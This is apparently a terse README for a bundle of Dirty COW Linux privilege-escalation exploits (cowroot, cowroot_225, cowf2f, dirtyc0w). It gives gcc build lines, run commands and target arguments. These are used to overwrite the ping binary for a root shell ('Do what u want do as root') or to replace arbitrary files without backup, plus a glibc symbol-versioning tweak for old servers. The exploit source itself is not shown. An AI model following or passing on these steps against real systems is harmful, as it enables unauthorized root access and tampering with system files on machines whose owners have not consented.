cow exp file2file / default / replace ELF
[+] cowroot
- gcc -o cowroot -O2 -lpthread cowroot.c
- ./cowroot
- reboot
- (RE getshell)ping && id
- Do what u want do as root
- Rember done all your stuff and rollback PING (/tmp/bak) <<< this is REAL ping
[+] cowroot_225 (same like cowroot, adapte gcc GLIBC_2.2.5 for some old servers)
[+] cowf2f
- gcc -o cowf2f -O2 -lpthread cowf2f.c
- ./cowf2f [taget-file] [your-file]
- reboot
- NO fucking backup!!!
[+] dirtyc0w
- gcc -o dirtyc0w -O2 -lpthread dirtyc0w.c
- ./dirtyc0w [taget-file] [(Str) blablabla]
- NO fucking backup!!!
- add
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
in code.c to adapte {glibc_old}. default build with 2.2.5